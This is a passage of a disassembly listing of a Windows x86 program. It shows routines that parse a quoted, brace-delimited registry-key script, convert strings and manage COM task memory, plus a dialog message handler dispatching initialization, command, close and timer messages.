; ---------------------------------------------------------------------------
loc_401AB3: ; CODE XREF: sub_401A30+75j
push 25h ; char
push eax ; lpsz
call sub_401F50
mov ebp, eax
add esp, 8
test ebp, ebp
jz loc_401C05
mov ecx, [esi]
sub eax, ecx
cmp eax, 1Fh
jg loc_401BFB
inc eax
push eax ; iMaxLength
lea eax, [esp+14h+String2]
push ecx ; lpString2
push eax ; lpString1
call ds:lstrcpynA ; lstrcpynA
lea ecx, [esp+10h+String2]
push ecx ; lpString2
mov ecx, [esi+4]
call sub_401E70
test eax, eax
jz loc_401C05
push eax ; lpWideCharStr
lea ecx, [esp+14h+arg_0]
call sub_401DC0
cmp [esi], ebp
jz short loc_401B22
loc_401B06: ; CODE XREF: sub_401A30+DFj
mov edx, [esi]
push edx ; lpsz
call ebx ; CharNextA
cmp eax, ebp
mov [esi], eax
jnz short loc_401B06
jmp short loc_401B22
; ---------------------------------------------------------------------------
loc_401B13: ; CODE XREF: sub_401A30+64j
lea ecx, [esp+14h+arg_0]
call sub_401D60
mov ebx, ds:CharNextA
loc_401B22: ; CODE XREF: sub_401A30+81j
; sub_401A30+D4j ...
mov eax, [esi]
push eax ; lpsz
call ebx ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jnz loc_401A8E
loc_401B33: ; CODE XREF: sub_401A30+58j
mov ebx, ds:CharNextA
loc_401B39: ; CODE XREF: sub_401A30+1D0j
; sub_401A30+1DAj
mov ecx, [esi]
push ecx
lea ecx, [esp+14h+arg_0]
call sub_401D60
test edi, edi
jl short loc_401B59
mov eax, [esp+10h+pv]
mov [esp+10h+pv], 0
mov [esp+10h], eax
loc_401B59: ; CODE XREF: sub_401A30+117j
mov edx, [esp+10h+pv]
push edx ; pv
call ds:CoTaskMemFree
test edi, edi
jl loc_401D07
mov eax, [esp+10h]
mov [esi], eax
cmp byte ptr [eax], 0
jz loc_401CFC
loc_401B7B: ; CODE XREF: sub_401A30+2ADj
mov ecx, esi
lea edi, [esp+10h+SubKey]
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_401CE2
cmp al, 27h
jnz short loc_401C0F
push ecx ; lpsz
call ebx ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_401BE6
loc_401BA1: ; CODE XREF: sub_401A30+1B4j
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_401BE6
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_401BB8
push eax ; lpsz
call ebx ; CharNextA
mov [esi], eax
loc_401BB8: ; CODE XREF: sub_401A30+181j
mov ebp, [esi]
push ebp ; lpsz
call ebx ; CharNextA
lea ecx, [edi+2]
lea edx, [esp+10h+arg_102C]
cmp ecx, edx
mov [esi], eax
jnb loc_401CE2
cmp ebp, eax
jnb short loc_401BE1
mov ecx, ebp
loc_401BD7: ; CODE XREF: sub_401A30+1AFj
mov dl, [ecx]
inc ecx
mov [edi], dl
inc edi
cmp ecx, eax
jb short loc_401BD7
loc_401BE1: ; CODE XREF: sub_401A30+1A3j
cmp byte ptr [eax], 0
jnz short loc_401BA1
loc_401BE6: ; CODE XREF: sub_401A30+16Fj
; sub_401A30+17Aj
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_401CE2
push eax ; lpsz
mov byte ptr [edi], 0
call ebx ; CharNextA
mov [esi], eax
jmp short loc_401C3B
; ---------------------------------------------------------------------------
loc_401BFB: ; CODE XREF: sub_401A30+9Fj
mov edi, 80004005h
jmp loc_401B39
; ---------------------------------------------------------------------------
loc_401C05: ; CODE XREF: sub_401A30+92j
; sub_401A30+C2j
mov edi, 80020009h
jmp loc_401B39
; ---------------------------------------------------------------------------
loc_401C0F: ; CODE XREF: sub_401A30+164j
; sub_401A30+206j
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_401C38
mov ebp, [esi]
push ebp ; lpsz
call ebx ; CharNextA
cmp ebp, eax
mov [esi], eax
jnb short loc_401C32
mov ecx, ebp
loc_401C28: ; CODE XREF: sub_401A30+200j
mov dl, [ecx]
inc ecx
mov [edi], dl
inc edi
cmp ecx, eax
jb short loc_401C28
loc_401C32: ; CODE XREF: sub_401A30+1F4j
mov al, [eax]
test al, al
jnz short loc_401C0F
loc_401C38: ; CODE XREF: sub_401A30+1E9j
mov byte ptr [edi], 0
loc_401C3B: ; CODE XREF: sub_401A30+1C9j
lea eax, [esp+10h+SubKey]
push eax ; lpString1
call sub_401F10
mov ebp, eax
add esp, 4
test ebp, ebp
jz loc_401CE2
lea ecx, [esp+10h+SubKey]
push ecx
mov ecx, esi
call sub_402020
mov edi, eax
test edi, edi
jl loc_401CFC
cmp [esp+10h+SubKey], 7Bh
jnz short loc_401CE2
mov eax, [esp+10h+arg_1034]
test eax, eax
jz short loc_401C9A
mov ebx, [esi]
push 0 ; int
push eax ; int
lea edx, [esp+18h+SubKey]
push ebp ; int
push edx ; lpSubKey
mov ecx, esi
call sub_402370
mov edi, eax
test edi, edi
jl short loc_401CE9
mov ebx, ds:CharNextA
jmp short loc_401CB1
; ---------------------------------------------------------------------------
loc_401C9A: ; CODE XREF: sub_401A30+248j
push 0 ; int
push 0 ; int
lea eax, [esp+18h+SubKey]
push ebp ; int
push eax ; lpSubKey
mov ecx, esi
call sub_402370
mov edi, eax
test edi, edi
jl short loc_401CFC
loc_401CB1: ; CODE XREF: sub_401A30+268j
mov ecx, [esi]
mov dl, [ecx]
mov ecx, esi
push edx
call sub_401F80
test eax, eax
jz short loc_401CD6
loc_401CC1: ; CODE XREF: sub_401A30+2A4j
mov eax, [esi]
push eax ; lpsz
call ebx ; CharNextA
mov [esi], eax
mov cl, [eax]
push ecx
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_401CC1
loc_401CD6: ; CODE XREF: sub_401A30+28Fj
mov edx, [esi]
cmp byte ptr [edx], 0
jz short loc_401CFC
jmp loc_401B7B
; ---------------------------------------------------------------------------
loc_401CE2: ; CODE XREF: sub_401A30+15Cj
; sub_401A30+19Bj ...
mov edi, 80020009h
jmp short loc_401CFC
; ---------------------------------------------------------------------------
loc_401CE9: ; CODE XREF: sub_401A30+260j
push 0 ; int
push 0 ; int
lea eax, [esp+18h+SubKey]
push ebp ; int
push eax ; lpSubKey
mov ecx, esi
mov [esi], ebx
call sub_402370
loc_401CFC: ; CODE XREF: sub_401A30+145j
; sub_401A30+232j ...
mov ecx, [esp+10h]
push ecx ; pv
call ds:CoTaskMemFree
loc_401D07: ; CODE XREF: sub_401A30+136j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1030h
retn 8
sub_401A30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401D20 proc near ; CODE XREF: sub_401A30+173p
; sub_402370+50p ...
mov eax, [ecx]
cmp byte ptr [eax], 27h
jnz short loc_401D39
push eax ; lpsz
call ds:CharNextA ; CharNextA
cmp byte ptr [eax], 27h
jz short loc_401D39
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_401D39: ; CODE XREF: sub_401D20+5j
; sub_401D20+11j
xor eax, eax
retn
sub_401D20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_401D40(SIZE_T cb)
sub_401D40 proc near ; CODE XREF: sub_401A30+2Bp
cb = dword ptr 4
mov eax, [esp+cb]
push esi
mov esi, ecx
push eax ; cb
mov dword ptr [esi], 0
mov [esi+4], eax
call ds:CoTaskMemAlloc
mov [esi+8], eax
mov eax, esi
pop esi
retn 4
sub_401D40 endp
; =============== S U B R O U T I N E =======================================
sub_401D60 proc near ; CODE XREF: sub_401A30+7Cp
; sub_401A30+E7p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
mov ecx, [esi]
cmp ecx, eax
jnz short loc_401D80
add eax, eax
mov [esi+4], eax
push eax ; cb
mov eax, [esi+8]
push eax ; pv
call ds:CoTaskMemRealloc
mov [esi+8], eax
loc_401D80: ; CODE XREF: sub_401D60+Bj
mov edi, [esp+8+arg_0]
mov ecx, [esi+8]
mov edx, [esi]
mov al, [edi]
mov [ecx+edx], al
mov eax, [esi]
inc eax
mov [esi], eax
mov cl, [edi]
push ecx ; TestChar
call ds:IsDBCSLeadByte ; IsDBCSLeadByte
test eax, eax
jz short loc_401DB0
mov edx, [esi+8]
mov eax, [esi]
mov cl, [edi+1]
mov [edx+eax], cl
mov eax, [esi]
inc eax
mov [esi], eax
loc_401DB0: ; CODE XREF: sub_401D60+3Ej
pop edi
mov eax, 1
pop esi
retn 4
sub_401D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_401DC0(LPCWSTR lpWideCharStr)
sub_401DC0 proc near ; CODE XREF: sub_401A30+CDp
lpWideCharStr = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+lpWideCharStr]
push ebx
push esi
push edi
test eax, eax
mov esi, ecx
jnz short loc_401DD3
xor edi, edi
jmp short loc_401E05
; ---------------------------------------------------------------------------
loc_401DD3: ; CODE XREF: sub_401DC0+Dj
push eax ; lpString
call ds:lstrlenW ; lstrlenW
lea ebx, [eax+eax+2]
mov eax, ebx
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, [ebp+lpWideCharStr]
mov edi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push ebx ; cbMultiByte
push edi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push eax ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [edi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
loc_401E05: ; CODE XREF: sub_401DC0+11j
cmp byte ptr [edi], 0
jz short loc_401E5C
mov ebx, ds:CoTaskMemRealloc
loc_401E10: ; CODE XREF: sub_401DC0+9Aj
mov eax, [esi+4]
mov ecx, [esi]
cmp ecx, eax
jnz short loc_401E28
mov ecx, [esi+8]
add eax, eax
push eax ; cb
push ecx ; pv
mov [esi+4], eax
call ebx ; CoTaskMemRealloc
mov [esi+8], eax
loc_401E28: ; CODE XREF: sub_401DC0+57j
mov edx, [esi+8]
mov eax, [esi]
mov cl, [edi]
mov [edx+eax], cl
mov ecx, [esi]
inc ecx
mov [esi], ecx
mov dl, [edi]
push edx ; TestChar
call ds:IsDBCSLeadByte ; IsDBCSLeadByte
test eax, eax
jz short loc_401E54
mov eax, [esi+8]
mov ecx, [esi]
mov dl, [edi+1]
mov [eax+ecx], dl
mov eax, [esi]
inc eax
mov [esi], eax
loc_401E54: ; CODE XREF: sub_401DC0+82j
mov al, [edi+1]
inc edi
test al, al
jnz short loc_401E10
loc_401E5C: ; CODE XREF: sub_401DC0+48j
lea esp, [ebp-0Ch]
mov eax, 1
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_401DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_401E70(LPCSTR lpString2)
sub_401E70 proc near ; CODE XREF: sub_401A30+BBp
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString2 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ecx+4]
push ebx
push esi
push edi
xor edi, edi
mov [ebp+var_4], ecx
test eax, eax
mov [ebp+var_8], edi
jle short loc_401EE9
jmp short loc_401E8D
; ---------------------------------------------------------------------------
loc_401E8A: ; CODE XREF: sub_401E70+77j
mov ecx, [ebp+var_4]
loc_401E8D: ; CODE XREF: sub_401E70+18j
mov eax, [ecx]
mov ecx, [eax+edi*4]
mov ebx, [ecx]
test ebx, ebx
jnz short loc_401E9C
xor esi, esi
jmp short loc_401ECE
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401E70+26j
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
lea edi, [eax+eax+2]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov esi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push edi ; cbMultiByte
push esi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [esi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov edi, [ebp+var_8]
loc_401ECE: ; CODE XREF: sub_401E70+2Aj
mov edx, [ebp+lpString2]
push edx ; lpString2
push esi ; lpString1
call ds:lstrcmpiA ; lstrcmpiA
test eax, eax
jz short loc_401EF7
mov eax, [ebp+var_4]
inc edi
mov [ebp+var_8], edi
cmp edi, [eax+4]
jl short loc_401E8A
loc_401EE9: ; CODE XREF: sub_401E70+16j
xor eax, eax
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_401EF7: ; CODE XREF: sub_401E70+6Bj
mov ecx, [ebp+var_4]
lea esp, [ebp-14h]
mov edx, [ecx]
mov eax, [edx+edi*4]
pop edi
pop esi
pop ebx
mov eax, [eax+4]
mov esp, ebp
pop ebp
retn 4
sub_401E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_401F10(LPCSTR lpString1)
sub_401F10 proc near ; CODE XREF: sub_401A30+210p
lpString1 = dword ptr 4
push ebx
mov ebx, [esp+4+lpString1]
push ebp
mov ebp, ds:lstrcmpiA
push esi
push edi
xor edi, edi
mov esi, offset off_40D6A8
loc_401F25: ; CODE XREF: sub_401F10+29j
mov eax, [esi]
push eax ; lpString2
push ebx ; lpString1
call ebp ; lstrcmpiA
test eax, eax
jz short loc_401F42
add esi, 8
inc edi
cmp esi, offset byte_40D718
jl short loc_401F25
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_401F42: ; CODE XREF: sub_401F10+1Dj
mov eax, ds:dword_40D6AC[edi*8]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_401F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_401F50(LPCSTR lpsz,char)
sub_401F50 proc near ; CODE XREF: sub_401A30+86p
lpsz = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+lpsz]
push ebx
push esi
push edi
mov cl, [eax]
xor edi, edi
test cl, cl
jz short loc_401F76
mov bl, [esp+0Ch+arg_4]
mov esi, ds:CharNextA
loc_401F69: ; CODE XREF: sub_401F50+24j
cmp cl, bl
jz short loc_401F78
push eax ; lpsz
call esi ; CharNextA
mov cl, [eax]
test cl, cl
jnz short loc_401F69
loc_401F76: ; CODE XREF: sub_401F50+Dj
mov eax, edi
loc_401F78: ; CODE XREF: sub_401F50+1Bj
pop edi
pop esi
pop ebx
retn
sub_401F50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401F80 proc near ; CODE XREF: sub_401A30+1E2p
; sub_401A30+288p ...
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
add eax, 0FFFFFFF7h
cmp eax, 17h ; switch 24 cases
ja short loc_401FA4 ; default
; jumptable 00401F95 cases 2,3,5-22
xor ecx, ecx
mov cl, ds:byte_401FB4[eax]
jmp ds:off_401FAC[ecx*4] ; switch jump
loc_401F9C: ; DATA XREF: .text:off_401FACo
mov eax, 1 ; jumptable 00401F95 cases 0,1,4,23
retn 4
; ---------------------------------------------------------------------------
loc_401FA4: ; CODE XREF: sub_401F80+Bj
; sub_401F80+15j
; DATA XREF: ...
xor eax, eax ; default
; jumptable 00401F95 cases 2,3,5-22
retn 4
sub_401F80 endp
; ---------------------------------------------------------------------------
align 4
off_401FAC dd offset loc_401F9C ; DATA XREF: sub_401F80+15r
dd offset loc_401FA4 ; jump table for switch statement
byte_401FB4 db 0, 0, 1, 1 ; DATA XREF: sub_401F80+Fr
db 0, 1, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 0
align 10h
; =============== S U B R O U T I N E =======================================
sub_401FD0 proc near ; CODE XREF: sub_401A30+151p
; sub_402370+2Ap ...
push esi
push edi
mov edi, ds:CharNextA
mov esi, ecx
loc_401FDA: ; CODE XREF: sub_401FD0+2Bj
mov eax, [esi]
movsx ecx, byte ptr [eax]
add ecx, 0FFFFFFF7h
cmp ecx, 17h ; switch 24 cases
ja short loc_401FFD ; default
; jumptable 00401FEF cases 2,3,5-22
xor edx, edx
mov dl, ds:byte_402008[ecx]
jmp ds:off_402000[edx*4] ; switch jump
loc_401FF6: ; DATA XREF: .text:off_402000o
push eax ; jumptable 00401FEF cases 0,1,4,23
call edi ; CharNextA
mov [esi], eax
jmp short loc_401FDA
; ---------------------------------------------------------------------------
loc_401FFD: ; CODE XREF: sub_401FD0+15j
; sub_401FD0+1Fj
; DATA XREF: ...
pop edi ; default
; jumptable 00401FEF cases 2,3,5-22
pop esi
retn
sub_401FD0 endp
; ---------------------------------------------------------------------------
off_402000 dd offset loc_401FF6 ; DATA XREF: sub_401FD0+1Fr
dd offset loc_401FFD ; jump table for switch statement
byte_402008 db 0, 0, 1, 1 ; DATA XREF: sub_401FD0+19r
db 0, 1, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 0
; =============== S U B R O U T I N E =======================================
sub_402020 proc near ; CODE XREF: sub_401A30+229p
; sub_402370+3E1p ...
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, ds:CharNextA
push esi
push edi
mov esi, ecx
loc_40202C: ; CODE XREF: sub_402020+2Dj
mov eax, [esi]
movsx ecx, byte ptr [eax]
add ecx, 0FFFFFFF7h
cmp ecx, 17h ; switch 24 cases
ja short loc_40204F ; default
; jumptable 00402041 cases 2,3,5-22
xor edx, edx
mov dl, ds:byte_40213C[ecx]
jmp ds:off_402134[edx*4] ; switch jump
loc_402048: ; DATA XREF: .text:off_402134o
push eax ; jumptable 00402041 cases 0,1,4,23
call ebp ; CharNextA
mov [esi], eax
jmp short loc_40202C
; ---------------------------------------------------------------------------
loc_40204F: ; CODE XREF: sub_402020+17j
; sub_402020+21j
; DATA XREF: ...
mov edi, [esi] ; default
; jumptable 00402041 cases 2,3,5-22
mov al, [edi]
test al, al
jnz short loc_402063
pop edi
pop esi
pop ebp
mov eax, 80020009h
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_402063: ; CODE XREF: sub_402020+35j
mov ebx, [esp+10h+arg_0]
cmp al, 27h
jnz loc_4020F0
push edi ; lpsz
mov [esp+14h+arg_0], ebx
call ebp ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_4020CA
loc_40207E: ; CODE XREF: sub_402020+A8j
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_40208D
push eax ; lpsz
call ebp ; CharNextA
cmp byte ptr [eax], 27h
jnz short loc_4020CA
loc_40208D: ; CODE XREF: sub_402020+63j
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_402099
push eax ; lpsz
call ebp ; CharNextA
mov [esi], eax
loc_402099: ; CODE XREF: sub_402020+72j
mov edi, [esi]
push edi ; lpsz
call ebp ; CharNextA
mov ecx, [esp+10h+arg_0]
lea edx, [ebx+2]
add ecx, 1000h
mov [esi], eax
cmp edx, ecx
jnb short loc_4020D1
cmp edi, eax
jnb short loc_4020C3
mov eax, edi
loc_4020B7: ; CODE XREF: sub_402020+A1j
mov cl, [eax]
inc eax
mov [ebx], cl
mov ecx, [esi]
inc ebx
cmp eax, ecx
jb short loc_4020B7
loc_4020C3: ; CODE XREF: sub_402020+93j
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_40207E
loc_4020CA: ; CODE XREF: sub_402020+5Cj
; sub_402020+6Bj
mov eax, [esi]
cmp byte ptr [eax], 0
jnz short loc_4020DD
loc_4020D1: ; CODE XREF: sub_402020+8Fj
pop edi
pop esi
pop ebp
mov eax, 80020009h
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_4020DD: ; CODE XREF: sub_402020+AFj
mov byte ptr [ebx], 0
mov ecx, [esi]
push ecx ; lpsz
call ebp ; CharNextA
mov [esi], eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_4020F0: ; CODE XREF: sub_402020+49j
; sub_402020+105j
movsx eax, al
add eax, 0FFFFFFF7h
cmp eax, 17h ; switch 24 cases
ja short loc_40210A ; default
; jumptable 00402103 cases 2,3,5-22
xor edx, edx
mov dl, ds:byte_40215C[eax]
jmp ds:off_402154[edx*4] ; switch jump
loc_40210A: ; CODE XREF: sub_402020+D9j
; DATA XREF: .text:off_402154o
push edi ; default
; jumptable 00402103 cases 2,3,5-22
call ebp ; CharNextA
cmp edi, eax
mov [esi], eax
jnb short loc_40211F
loc_402113: ; CODE XREF: sub_402020+FDj
mov al, [edi]
inc edi
mov [ebx], al
mov eax, [esi]
inc ebx
cmp edi, eax
jb short loc_402113
loc_40211F: ; CODE XREF: sub_402020+F1j
mov edi, [esi]
mov al, [edi]
test al, al
jnz short loc_4020F0
loc_402127: ; CODE XREF: sub_402020+E3j
; DATA XREF: .text:off_402154o
pop edi ; jumptable 00402103 cases 0,1,4,23
pop esi
mov byte ptr [ebx], 0
pop ebp
xor eax, eax
pop ebx
retn 4
sub_402020 endp
; ---------------------------------------------------------------------------
align 4
off_402134 dd offset loc_402048 ; DATA XREF: sub_402020+21r
dd offset loc_40204F ; jump table for switch statement
byte_40213C db 0, 0, 1, 1 ; DATA XREF: sub_402020+1Br
db 0, 1, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 0
off_402154 dd offset loc_402127 ; DATA XREF: sub_402020+E3r
dd offset loc_40210A ; jump table for switch statement
byte_40215C db 0, 0, 1, 1 ; DATA XREF: sub_402020+DDr
db 0, 1, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 0
align 10h
; =============== S U B R O U T I N E =======================================
sub_402180 proc near ; DATA XREF: .rdata:off_40D698o
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_14]
push esi
test eax, eax
jnz loc_40235B
mov eax, [esp+4+arg_4]
cmp eax, 110h
jnz short loc_4021D2
mov edx, [esp+4+arg_C]
lea eax, [esp+4+arg_14]
push eax ; int
mov eax, [esp+8+arg_8]
push edx ; int
mov esi, 1
push eax ; int
push 110h ; int
mov [esp+14h+arg_14], esi
call sub_405C90
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_4021D2: ; CODE XREF: sub_402180+16j
cmp eax, 111h
jnz short loc_402217
mov eax, [esp+4+arg_8]
mov esi, 1
cmp ax, si
jnz short loc_402253
lea edx, [esp+4+arg_14]
mov [esp+4+arg_14], esi
push edx
mov edx, [esp+8+arg_C]
push edx
push esi
shr eax, 10h
push eax
call sub_4064E0
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_402217: ; CODE XREF: sub_402180+57j
cmp eax, 10h
jnz short loc_40229A
mov eax, [esp+4+arg_C]
lea edx, [esp+4+arg_14]
push edx
mov edx, [esp+8+arg_8]
push eax
mov esi, 1
push edx
push 10h
mov [esp+14h+arg_14], esi
call sub_406D00
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_402253: ; CODE XREF: sub_402180+65j
cmp ax, 0C9h
jnz loc_4022DF
shr eax, 10h
cmp ax, si
jnz loc_40235B
mov eax, [esp+4+arg_C]
lea edx, [esp+4+arg_14]
push edx ; int
push eax ; int
push 0C9h ; int
push esi ; int
mov [esp+14h+arg_14], esi
call sub_406D50
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_40229A: ; CODE XREF: sub_402180+9Aj
cmp eax, 113h
jnz loc_40235B
mov eax, [esp+4+arg_C]
lea edx, [esp+4+arg_14]
push edx ; int
mov edx, [esp+8+arg_8]
push eax ; int
mov esi, 1
push edx ; int
push 113h ; int
mov [esp+14h+arg_14], esi
call sub_406720
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_4022DF: ; CODE XREF: sub_402180+D7j
cmp ax, 0CEh
jnz short loc_40231F
shr eax, 10h
cmp ax, 400h
jnz short loc_40235B
mov eax, [esp+4+arg_C]
lea edx, [esp+4+arg_14]
push edx
push eax
push 0CEh
push 400h
mov [esp+14h+arg_14], esi
call sub_406E00
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz short loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_40231F: ; CODE XREF: sub_402180+163j
cmp ax, 0D1h
jnz short loc_40235B
shr eax, 10h
test ax, ax
jnz short loc_40235B
mov eax, [esp+4+arg_C]
lea edx, [esp+4+arg_14]
push edx
push eax
push 0D1h
push 0
mov [esp+14h+arg_14], esi
call sub_406E50
mov ecx, [esp+4+arg_10]
mov [ecx], eax
mov eax, [esp+4+arg_14]
test eax, eax
jz short loc_40235B
mov eax, esi
pop esi
retn 18h
; ---------------------------------------------------------------------------
loc_40235B: ; CODE XREF: sub_402180+7j
; sub_402180+46j ...
xor eax, eax
pop esi
retn 18h
sub_402180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_402370(LPCSTR lpSubKey,int,int,int)
sub_402370 proc near ; CODE XREF: sub_401A30+257p
; sub_401A30+276p ...
var_222C = byte ptr -222Ch
var_122C = byte ptr -122Ch
SubKey = byte ptr -22Ch
ValueName = byte ptr -12Ch
ftLastWriteTime = _FILETIME ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
cchName = dword ptr -14h
lpString1 = dword ptr -10h
hKey = dword ptr -0Ch
var_8 = dword ptr -8
cchValueName = dword ptr -4
lpSubKey = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_ECC = byte ptr 0ED4h
push ebp
mov ebp, esp
mov eax, 222Ch
call sub_40AF70
xor eax, eax
push ebx
mov [ebp+cchValueName], eax
mov [ebp+lpString1], eax
mov eax, [ebp+arg_C]
push esi
push edi
mov edi, [ebp+lpSubKey]
mov esi, ecx
mov [ebp+var_18], 1
mov [ebp+var_20], eax
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_402D9D
cmp al, 27h
jnz short loc_40242C
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_402411
loc_4023BE: ; CODE XREF: sub_402370+9Fj
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_402411
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_4023D9
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_4023D9: ; CODE XREF: sub_402370+5Ej
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
mov ecx, [ebp+lpSubKey]
lea edx, [edi+2]
add ecx, 1000h
mov [esi], eax
cmp edx, ecx
jnb loc_402D9D
cmp ebx, eax
jnb short loc_40240A
mov eax, ebx
loc_4023FE: ; CODE XREF: sub_402370+98j
mov cl, [eax]
inc eax
mov [edi], cl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_4023FE
loc_40240A: ; CODE XREF: sub_402370+8Aj
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_4023BE
loc_402411: ; CODE XREF: sub_402370+4Cj
; sub_402370+57j
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_402D9D
mov byte ptr [edi], 0
mov ecx, [esi]
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_402460
; ---------------------------------------------------------------------------
loc_40242C: ; CODE XREF: sub_402370+3Dj
; sub_402370+EBj
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_40245D
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_402455
mov eax, ebx
loc_402449: ; CODE XREF: sub_402370+E3j
mov dl, [eax]
inc eax
mov [edi], dl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_402449
loc_402455: ; CODE XREF: sub_402370+D5j
mov eax, [esi]
mov al, [eax]
test al, al
jnz short loc_40242C
loc_40245D: ; CODE XREF: sub_402370+C6j
mov byte ptr [edi], 0
loc_402460: ; CODE XREF: sub_402370+BAj
mov ecx, [ebp+lpSubKey]
xor edi, edi
cmp byte ptr [ecx], 7Dh
jz loc_402D6A
loc_40246E: ; CODE XREF: sub_402370+473j
mov edx, ds:lpString2
mov eax, [ebp+lpSubKey]
mov ebx, ds:lstrcmpiA
push edx ; lpString2
